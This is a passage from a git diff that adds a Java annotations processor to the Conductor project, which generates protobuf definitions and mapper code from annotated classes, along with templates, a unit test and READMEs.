(word.length() < 2) return word.toUpperCase(); + return word.substring(0, 1).toUpperCase() + word.substring(1).toLowerCase(); + } + } + + protected String protoMethodName(String m, String field) { + return m + ProtoCase.convert(field); + } +} diff --git a/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/ExternMessageType.java b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/ExternMessageType.java new file mode 100644 index 0000000..93279d5 --- /dev/null +++ b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/ExternMessageType.java @@ -0,0 +1,56 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotationsprocessor.protogen.types; + +import java.lang.reflect.Type; +import java.util.Set; + +import javax.lang.model.element.Modifier; + +import com.squareup.javapoet.ClassName; +import com.squareup.javapoet.MethodSpec; + +public class ExternMessageType extends MessageType { + private String externProtoType; + + public ExternMessageType( + Type javaType, ClassName javaProtoType, String externProtoType, String protoFilePath) { + super(javaType, javaProtoType, protoFilePath); + this.externProtoType = externProtoType; + } + + @Override + public String getProtoType() { + return externProtoType; + } + + @Override + public void generateAbstractMethods(Set specs) { + MethodSpec fromProto = + MethodSpec.methodBuilder("fromProto") + .addModifiers(Modifier.PUBLIC, Modifier.ABSTRACT) + .returns(this.getJavaType()) + .addParameter(this.getJavaProtoType(), "in") + .build(); + + MethodSpec toProto = + MethodSpec.methodBuilder("toProto") + .addModifiers(Modifier.PUBLIC, Modifier.ABSTRACT) + .returns(this.getJavaProtoType()) + .addParameter(this.getJavaType(), "in") + .build(); + + specs.add(fromProto); + specs.add(toProto); + } +} diff --git a/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/GenericType.java b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/GenericType.java new file mode 100644 index 0000000..adf8f4d --- /dev/null +++ b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/GenericType.java @@ -0,0 +1,72 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotationsprocessor.protogen.types; + +import java.lang.reflect.ParameterizedType; +import java.lang.reflect.Type; +import java.util.Set; + +import com.squareup.javapoet.ClassName; +import com.squareup.javapoet.MethodSpec; +import com.squareup.javapoet.TypeName; + +abstract class GenericType extends AbstractType { + public GenericType(Type type) { + super(type, null); + } + + protected Class getRawType() { + ParameterizedType tt = (ParameterizedType) this.getJavaType(); + return (Class) tt.getRawType(); + } + + protected AbstractType resolveGenericParam(int idx) { + ParameterizedType tt = (ParameterizedType) this.getJavaType(); + Type[] types = tt.getActualTypeArguments(); + + AbstractType abstractType = TypeMapper.INSTANCE.get(types[idx]); + if (abstractType instanceof GenericType) { + return WrappedType.wrap((GenericType) abstractType); + } + return abstractType; + } + + public abstract String getWrapperSuffix(); + + public abstract AbstractType getValueType(); + + public abstract TypeName resolveJavaProtoType(); + + @Override + public TypeName getRawJavaType() { + return ClassName.get(getRawType()); + } + + @Override + public void getDependencies(Set deps) { + getValueType().getDependencies(deps); + } + + @Override + public void generateAbstractMethods(Set specs) { + getValueType().generateAbstractMethods(specs); + } + + @Override + public TypeName getJavaProtoType() { + if (javaProtoType == null) { + javaProtoType = resolveJavaProtoType(); + } + return javaProtoType; + } +} diff --git a/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/ListType.java b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/ListType.java new file mode 100644 index 0000000..50bbf1c --- /dev/null +++ b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/ListType.java @@ -0,0 +1,101 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotationsprocessor.protogen.types; + +import java.lang.reflect.Type; +import java.util.stream.Collectors; + +import com.squareup.javapoet.ClassName; +import com.squareup.javapoet.MethodSpec; +import com.squareup.javapoet.ParameterizedTypeName; +import com.squareup.javapoet.TypeName; + +public class ListType extends GenericType { + private AbstractType valueType; + + public ListType(Type type) { + super(type); + } + + @Override + public String getWrapperSuffix() { + return "List"; + } + + @Override + public AbstractType getValueType() { + if (valueType == null) { + valueType = resolveGenericParam(0); + } + return valueType; + } + + @Override + public void mapToProto(String field, MethodSpec.Builder method) { + AbstractType subtype = getValueType(); + if (subtype instanceof ScalarType) { + method.addStatement( + "to.$L( from.$L() )", + protoMethodName("addAll", field), + javaMethodName("get", field)); + } else { + method.beginControlFlow( + "for ($T elem : from.$L())", + subtype.getJavaType(), + javaMethodName("get", field)); + method.addStatement("to.$L( toProto(elem) )", protoMethodName("add", field)); + method.endControlFlow(); + } + } + + @Override + public void mapFromProto(String field, MethodSpec.Builder method) { + AbstractType subtype = getValueType(); + Type entryType = subtype.getJavaType(); + Class collector = TypeMapper.PROTO_LIST_TYPES.get(getRawType()); + + if (subtype instanceof ScalarType) { + if (entryType.equals(String.class)) { + method.addStatement( + "to.$L( from.$L().stream().collect($T.toCollection($T::new)) )", + javaMethodName("set", field), + protoMethodName("get", field) + "List", + Collectors.class, + collector); + } else { + method.addStatement( + "to.$L( from.$L() )", + javaMethodName("set", field), + protoMethodName("get", field) + "List"); + } + } else { + method.addStatement( + "to.$L( from.$L().stream().map(this::fromProto).collect($T.toCollection($T::new)) )", + javaMethodName("set", field), + protoMethodName("get", field) + "List", + Collectors.class, + collector); + } + } + + @Override + public TypeName resolveJavaProtoType() { + return ParameterizedTypeName.get( + (ClassName) getRawJavaType(), getValueType().getJavaProtoType()); + } + + @Override + public String getProtoType() { + return "repeated " + getValueType().getProtoType(); + } +} diff --git a/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/MapType.java b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/MapType.java new file mode 100644 index 0000000..bdcb5bf --- /dev/null +++ b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/MapType.java @@ -0,0 +1,126 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotationsprocessor.protogen.types; + +import java.lang.reflect.Type; +import java.util.HashMap; +import java.util.Map; + +import com.squareup.javapoet.ClassName; +import com.squareup.javapoet.MethodSpec; +import com.squareup.javapoet.ParameterizedTypeName; +import com.squareup.javapoet.TypeName; + +public class MapType extends GenericType { + private AbstractType keyType; + private AbstractType valueType; + + public MapType(Type type) { + super(type); + } + + @Override + public String getWrapperSuffix() { + return "Map"; + } + + @Override + public AbstractType getValueType() { + if (valueType == null) { + valueType = resolveGenericParam(1); + } + return valueType; + } + + public AbstractType getKeyType() { + if (keyType == null) { + keyType = resolveGenericParam(0); + } + return keyType; + } + + @Override + public void mapToProto(String field, MethodSpec.Builder method) { + AbstractType valueType = getValueType(); + if (valueType instanceof ScalarType) { + method.addStatement( + "to.$L( from.$L() )", + protoMethodName("putAll", field), + javaMethodName("get", field)); + } else { + TypeName typeName = + ParameterizedTypeName.get( + Map.Entry.class, + getKeyType().getJavaType(), + getValueType().getJavaType()); + method.beginControlFlow( + "for ($T pair : from.$L().entrySet())", typeName, javaMethodName("get", field)); + method.addStatement( + "to.$L( pair.getKey(), toProto( pair.getValue() ) )", + protoMethodName("put", field)); + method.endControlFlow(); + } + } + + @Override + public void mapFromProto(String field, MethodSpec.Builder method) { + AbstractType valueType = getValueType(); + if (valueType instanceof ScalarType) { + method.addStatement( + "to.$L( from.$L() )", + javaMethodName("set", field), + protoMethodName("get", field) + "Map"); + } else { + Type keyType = getKeyType().getJavaType(); + Type valueTypeJava = getValueType().getJavaType(); + TypeName valueTypePb = getValueType().getJavaProtoType(); + + ParameterizedTypeName entryType = + ParameterizedTypeName.get( + ClassName.get(Map.Entry.class), TypeName.get(keyType), valueTypePb); + ParameterizedTypeName mapType = + ParameterizedTypeName.get(Map.class, keyType, valueTypeJava); + ParameterizedTypeName hashMapType = + ParameterizedTypeName.get(HashMap.class, keyType, valueTypeJava); + String mapName = field + "Map"; + + method.addStatement("$T $L = new $T()", mapType, mapName, hashMapType); + method.beginControlFlow( + "for ($T pair : from.$L().entrySet())", + entryType, + protoMethodName("get", field) + "Map"); + method.addStatement("$L.put( pair.getKey(), fromProto( pair.getValue() ) )", mapName); + method.endControlFlow(); + method.addStatement("to.$L($L)", javaMethodName("set", field), mapName); + } + } + + @Override + public TypeName resolveJavaProtoType() { + return ParameterizedTypeName.get( + (ClassName) getRawJavaType(), + getKeyType().getJavaProtoType(), + getValueType().getJavaProtoType()); + } + + @Override + public String getProtoType() { + AbstractType keyType = getKeyType(); + AbstractType valueType = getValueType(); + if (!(keyType instanceof ScalarType)) { + throw new IllegalArgumentException( + "cannot map non-scalar map key: " + this.getJavaType()); + } + return String.format("map<%s, %s>", keyType.getProtoType(), valueType.getProtoType()); + } +} diff --git a/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/MessageType.java b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/MessageType.java new file mode 100644 index 0000000..724817a --- /dev/null +++ b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/MessageType.java @@ -0,0 +1,78 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotationsprocessor.protogen.types; + +import java.lang.reflect.Type; +import java.util.List; +import java.util.Set; + +import com.squareup.javapoet.ClassName; +import com.squareup.javapoet.MethodSpec; +import com.squareup.javapoet.TypeName; + +public class MessageType extends AbstractType { + private String protoFilePath; + + public MessageType(Type javaType, ClassName javaProtoType, String protoFilePath) { + super(javaType, javaProtoType); + this.protoFilePath = protoFilePath; + } + + @Override + public String getProtoType() { + List classes = ((ClassName) getJavaProtoType()).simpleNames(); + return String.join(".", classes.subList(1, classes.size())); + } + + public String getProtoFilePath() { + return protoFilePath; + } + + @Override + public TypeName getRawJavaType() { + return getJavaProtoType(); + } + + @Override + public void mapToProto(String field, MethodSpec.Builder method) { + final String getter = javaMethodName("get", field); + method.beginControlFlow("if (from.$L() != null)", getter); + method.addStatement("to.$L( toProto( from.$L() ) )", protoMethodName("set", field), getter); + method.endControlFlow(); + } + + private boolean isEnum() { + Type clazz = getJavaType(); + return (clazz instanceof Class) && ((Class) clazz).isEnum(); + } + + @Override + public void mapFromProto(String field, MethodSpec.Builder method) { + if (!isEnum()) method.beginControlFlow("if (from.$L())", protoMethodName("has", field)); + + method.addStatement( + "to.$L( fromProto( from.$L() ) )", + javaMethodName("set", field), + protoMethodName("get", field)); + + if (!isEnum()) method.endControlFlow(); + } + + @Override + public void getDependencies(Set deps) { + deps.add(protoFilePath); + } + + @Override + public void generateAbstractMethods(Set specs) {} +} diff --git a/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/ScalarType.java b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/ScalarType.java new file mode 100644 index 0000000..afefc78 --- /dev/null +++ b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/ScalarType.java @@ -0,0 +1,78 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotationsprocessor.protogen.types; + +import java.lang.reflect.Type; +import java.util.Set; + +import com.squareup.javapoet.MethodSpec; +import com.squareup.javapoet.TypeName; + +public class ScalarType extends AbstractType { + private String protoType; + + public ScalarType(Type javaType, TypeName javaProtoType, String protoType) { + super(javaType, javaProtoType); + this.protoType = protoType; + } + + @Override + public String getProtoType() { + return protoType; + } + + @Override + public TypeName getRawJavaType() { + return getJavaProtoType(); + } + + @Override + public void mapFromProto(String field, MethodSpec.Builder method) { + method.addStatement( + "to.$L( from.$L() )", javaMethodName("set", field), protoMethodName("get", field)); + } + + private boolean isNullableType() { + final Type jt = getJavaType(); + return jt.equals(Boolean.class) + || jt.equals(Byte.class) + || jt.equals(Character.class) + || jt.equals(Short.class) + || jt.equals(Integer.class) + || jt.equals(Long.class) + || jt.equals(Double.class) + || jt.equals(Float.class) + || jt.equals(String.class); + } + + @Override + public void mapToProto(String field, MethodSpec.Builder method) { + final boolean nullable = isNullableType(); + String getter = + (getJavaType().equals(boolean.class) || getJavaType().equals(Boolean.class)) + ? javaMethodName("is", field) + : javaMethodName("get", field); + + if (nullable) method.beginControlFlow("if (from.$L() != null)", getter); + + method.addStatement("to.$L( from.$L() )", protoMethodName("set", field), getter); + + if (nullable) method.endControlFlow(); + } + + @Override + public void getDependencies(Set deps) {} + + @Override + public void generateAbstractMethods(Set specs) {} +} diff --git a/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/TypeMapper.java b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/TypeMapper.java new file mode 100644 index 0000000..7e99709 --- /dev/null +++ b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/TypeMapper.java @@ -0,0 +1,115 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotationsprocessor.protogen.types; + +import java.lang.reflect.ParameterizedType; +import java.lang.reflect.Type; +import java.util.*; + +import com.google.protobuf.Any; +import com.squareup.javapoet.ClassName; +import com.squareup.javapoet.TypeName; + +public class TypeMapper { + static Map PROTO_LIST_TYPES = new HashMap<>(); + + static { + PROTO_LIST_TYPES.put(List.class, ArrayList.class); + PROTO_LIST_TYPES.put(Set.class, HashSet.class); + PROTO_LIST_TYPES.put(LinkedList.class, LinkedList.class); + } + + public static TypeMapper INSTANCE = new TypeMapper(); + + private Map types = new HashMap<>(); + + public void addScalarType(Type t, String protoType) { + types.put(t, new ScalarType(t, TypeName.get(t), protoType)); + } + + public void addMessageType(Class t, MessageType message) { + types.put(t, message); + } + + public TypeMapper() { + addScalarType(int.class, "int32"); + addScalarType(Integer.class, "int32"); + addScalarType(long.class, "int64"); + addScalarType(Long.class, "int64"); + addScalarType(String.class, "string"); + addScalarType(boolean.class, "bool"); + addScalarType(Boolean.class, "bool"); + + addMessageType( + Object.class, + new ExternMessageType( + Object.class, + ClassName.get("com.google.protobuf", "Value"), + "google.protobuf.Value", + "google/protobuf/struct.proto")); + + addMessageType( + Any.class, + new ExternMessageType( + Any.class, + ClassName.get(Any.class), + "google.protobuf.Any", + "google/protobuf/any.proto")); + } + + public AbstractType get(Type t) { + if (!types.containsKey(t)) { + if (t instanceof ParameterizedType) { + Type raw = ((ParameterizedType) t).getRawType(); + if (PROTO_LIST_TYPES.containsKey(raw)) { + types.put(t, new ListType(t)); + } else if (raw.equals(Map.class)) { + types.put(t, new MapType(t)); + } + } + } + if (!types.containsKey(t)) { + throw new IllegalArgumentException("Cannot map type: " + t); + } + return types.get(t); + } + + public MessageType get(String className) { + for (Map.Entry pair : types.entrySet()) { + AbstractType t = pair.getValue(); + if (t instanceof MessageType) { + if (((Class) t.getJavaType()).getSimpleName().equals(className)) + return (MessageType) t; + } + } + return null; + } + + public MessageType declare(Class type, MessageType parent) { + return declare(type, (ClassName) parent.getJavaProtoType(), parent.getProtoFilePath()); + } + + public MessageType declare(Class type, ClassName parentType, String protoFilePath) { + String simpleName = type.getSimpleName(); + MessageType t = new MessageType(type, parentType.nestedClass(simpleName), protoFilePath); + if (types.containsKey(type)) { + throw new IllegalArgumentException("duplicate type declaration: " + type); + } + types.put(type, t); + return t; + } + + public MessageType baseClass(ClassName className, String protoFilePath) { + return new MessageType(Object.class, className, protoFilePath); + } +} diff --git a/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/WrappedType.java b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/WrappedType.java new file mode 100644 index 0000000..409e47d --- /dev/null +++ b/annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/WrappedType.java @@ -0,0 +1,90 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotationsprocessor.protogen.types; + +import java.lang.reflect.Type; +import java.util.Set; + +import javax.lang.model.element.Modifier; + +import com.squareup.javapoet.MethodSpec; +import com.squareup.javapoet.TypeName; + +public class WrappedType extends AbstractType { + private AbstractType realType; + private MessageType wrappedType; + + public static WrappedType wrap(GenericType realType) { + Type valueType = realType.getValueType().getJavaType(); + if (!(valueType instanceof Class)) + throw new IllegalArgumentException("cannot wrap primitive type: " + valueType); + + String className = ((Class) valueType).getSimpleName() + realType.getWrapperSuffix(); + MessageType wrappedType = TypeMapper.INSTANCE.get(className); + if (wrappedType == null) + throw new IllegalArgumentException("missing wrapper class: " + className); + return new WrappedType(realType, wrappedType); + } + + public WrappedType(AbstractType realType, MessageType wrappedType) { + super(realType.getJavaType(), wrappedType.getJavaProtoType()); + this.realType = realType; + this.wrappedType = wrappedType; + } + + @Override + public String getProtoType() { + return wrappedType.getProtoType(); + } + + @Override + public TypeName getRawJavaType() { + return realType.getRawJavaType(); + } + + @Override + public void mapToProto(String field, MethodSpec.Builder method) { + wrappedType.mapToProto(field, method); + } + + @Override + public void mapFromProto(String field, MethodSpec.Builder method) { + wrappedType.mapFromProto(field, method); + } + + @Override + public void getDependencies(Set deps) { + this.realType.getDependencies(deps); + this.wrappedType.getDependencies(deps); + } + + @Override + public void generateAbstractMethods(Set specs) { + MethodSpec fromProto = + MethodSpec.methodBuilder("fromProto") + .addModifiers(Modifier.PUBLIC, Modifier.ABSTRACT) + .returns(this.realType.getJavaType()) + .addParameter(this.wrappedType.getJavaProtoType(), "in") + .build(); + + MethodSpec toProto = + MethodSpec.methodBuilder("toProto") + .addModifiers(Modifier.PUBLIC, Modifier.ABSTRACT) + .returns(this.wrappedType.getJavaProtoType()) + .addParameter(this.realType.getJavaType(), "in") + .build(); + + specs.add(fromProto); + specs.add(toProto); + } +} diff --git a/annotations-processor/src/main/resources/templates/file.proto b/annotations-processor/src/main/resources/templates/file.proto new file mode 100644 index 0000000..2925154 --- /dev/null +++ b/annotations-processor/src/main/resources/templates/file.proto @@ -0,0 +1,14 @@ +syntax = "proto3"; +package {{protoPackageName}}; + +{{#includes}} +import "{{this}}"; +{{/includes}} + +option java_package = "{{javaPackageName}}"; +option java_outer_classname = "{{javaClassName}}"; +option go_package = "{{goPackageName}}"; + +{{#message}} +{{>message}} +{{/message}} diff --git a/annotations-processor/src/main/resources/templates/message.proto b/annotations-processor/src/main/resources/templates/message.proto new file mode 100644 index 0000000..7de1101 --- /dev/null +++ b/annotations-processor/src/main/resources/templates/message.proto @@ -0,0 +1,8 @@ +{{protoClass}} {{name}} { +{{#nested}} + {{>message}} +{{/nested}} +{{#fields}} + {{protoTypeDeclaration}}; +{{/fields}} +} diff --git a/annotations-processor/src/test/java/com/netflix/conductor/annotationsprocessor/protogen/ProtoGenTest.java b/annotations-processor/src/test/java/com/netflix/conductor/annotationsprocessor/protogen/ProtoGenTest.java new file mode 100644 index 0000000..09f6372 --- /dev/null +++ b/annotations-processor/src/test/java/com/netflix/conductor/annotationsprocessor/protogen/ProtoGenTest.java @@ -0,0 +1,70 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotationsprocessor.protogen; + +import java.io.File; +import java.nio.charset.Charset; +import java.nio.charset.StandardCharsets; +import java.util.List; + +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.TemporaryFolder; + +import com.google.common.collect.Lists; +import com.google.common.io.Files; +import com.google.common.io.Resources; + +import static org.junit.Assert.*; + +public class ProtoGenTest { + private static final Charset charset = StandardCharsets.UTF_8; + + @Rule public TemporaryFolder folder = new TemporaryFolder(); + + @Test + public void happyPath() throws Exception { + File rootDir = folder.getRoot(); + String protoPackage = "protoPackage"; + String javaPackage = "abc.protogen.example"; + String goPackage = "goPackage"; + String sourcePackage = "com.example"; + String mapperPackage = "mapperPackage"; + + File jarFile = new File("./build/libs/example.jar"); + assertTrue(jarFile.exists()); + + File mapperDir = new File(rootDir, "mapperDir"); + mapperDir.mkdirs(); + + File protosDir = new File(rootDir, "protosDir"); + protosDir.mkdirs(); + + File modelDir = new File(protosDir, "model"); + modelDir.mkdirs(); + + ProtoGen generator = new ProtoGen(protoPackage, javaPackage, goPackage); + generator.processPackage(jarFile, sourcePackage); + generator.writeMapper(mapperDir, mapperPackage); + generator.writeProtos(protosDir); + + List models = Lists.newArrayList(modelDir.listFiles()); + assertEquals(1, models.size()); + File exampleProtoFile = + models.stream().filter(f -> f.getName().equals("example.proto")).findFirst().get(); + assertTrue(exampleProtoFile.length() > 0); + assertEquals( + Resources.asCharSource(Resources.getResource("example.proto.txt"), charset).read(), + Files.asCharSource(exampleProtoFile, charset).read()); + } +} diff --git a/annotations-processor/src/test/resources/example.proto.txt b/annotations-processor/src/test/resources/example.proto.txt new file mode 100644 index 0000000..ac1379a --- /dev/null +++ b/annotations-processor/src/test/resources/example.proto.txt @@ -0,0 +1,12 @@ +syntax = "proto3"; +package protoPackage; + + +option java_package = "abc.protogen.example"; +option java_outer_classname = "ExamplePb"; +option go_package = "goPackage"; + +message Example { + string name = 1; + int64 count = 2; +} diff --git a/annotations/README.md b/annotations/README.md new file mode 100644 index 0000000..0553d12 --- /dev/null +++ b/annotations/README.md @@ -0,0 +1,8 @@ +# Annotations +Used for Conductor to convert Java POJs to protobuf files. + +- `protogen` Annotations + - Original Author: Vicent Martí - https://github.com/vmg + - Original Repo: https://github.com/vmg/protogen + + diff --git a/annotations/build.gradle b/annotations/build.gradle new file mode 100644 index 0000000..c3187c1 --- /dev/null +++ b/annotations/build.gradle @@ -0,0 +1,5 @@ + + +dependencies { + +} \ No newline at end of file diff --git a/annotations/src/main/java/com/netflix/conductor/annotations/protogen/ProtoEnum.java b/annotations/src/main/java/com/netflix/conductor/annotations/protogen/ProtoEnum.java new file mode 100644 index 0000000..c07e679 --- /dev/null +++ b/annotations/src/main/java/com/netflix/conductor/annotations/protogen/ProtoEnum.java @@ -0,0 +1,26 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotations.protogen; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * ProtoEnum annotates an enum type that will be exposed via the GRPC API as a native Protocol + * Buffers enum. + */ +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.TYPE) +public @interface ProtoEnum {} diff --git a/annotations/src/main/java/com/netflix/conductor/annotations/protogen/ProtoField.java b/annotations/src/main/java/com/netflix/conductor/annotations/protogen/ProtoField.java new file mode 100644 index 0000000..a61bb5e --- /dev/null +++ b/annotations/src/main/java/com/netflix/conductor/annotations/protogen/ProtoField.java @@ -0,0 +1,36 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotations.protogen; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * ProtoField annotates a field inside an struct with metadata on how to expose it on its + * corresponding Protocol Buffers struct. For a field to be exposed in a ProtoBuf struct, the + * containing struct must also be annotated with a {@link ProtoMessage} or {@link ProtoEnum} tag. + */ +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.FIELD) +public @interface ProtoField { + /** + * Mandatory. Sets the Protocol Buffer ID for this specific field. Once a field has been + * annotated with a given ID, the ID can never change to a different value or the resulting + * Protocol Buffer struct will not be backwards compatible. + * + * @return the numeric ID for the field + */ + int id(); +} diff --git a/annotations/src/main/java/com/netflix/conductor/annotations/protogen/ProtoMessage.java b/annotations/src/main/java/com/netflix/conductor/annotations/protogen/ProtoMessage.java new file mode 100644 index 0000000..45fa884 --- /dev/null +++ b/annotations/src/main/java/com/netflix/conductor/annotations/protogen/ProtoMessage.java @@ -0,0 +1,51 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotations.protogen; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * ProtoMessage annotates a given Java class so it becomes exposed via the GRPC API as a native + * Protocol Buffers struct. The annotated class must be a POJO. + */ +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.TYPE) +public @interface ProtoMessage { + /** + * Sets whether the generated mapping code will contain a helper to translate the POJO for this + * class into the equivalent ProtoBuf object. + * + * @return whether this class will generate a mapper to ProtoBuf objects + */ + boolean toProto() default true; + + /** + * Sets whether the generated mapping code will contain a helper to translate the ProtoBuf + * object for this class into the equivalent POJO. + * + * @return whether this class will generate a mapper from ProtoBuf objects + */ + boolean fromProto() default true; + + /** + * Sets whether this is a wrapper class that will be used to encapsulate complex nested type + * interfaces. Wrapper classes are not directly exposed by the ProtoBuf API and must be mapped + * manually. + * + * @return whether this is a wrapper class + */ + boolean wrapper() default false; +} diff --git a/awss3-storage/README.md b/awss3-storage/README.md new file mode 100644 index 0000000..9672dd0 --- /dev/null +++ b/awss3-storage/README.md @@ -0,0 +1,4 @@ +# S3 external storage support +Used by Conductor to support external payload into S3 blob. + +See [https://docs.conductor-oss.org/documentation/advanced/externalpayloadstorage.html](https://docs.conductor-oss.org/documentation/advanced/externalpayloadstorage.html) for more details diff --git 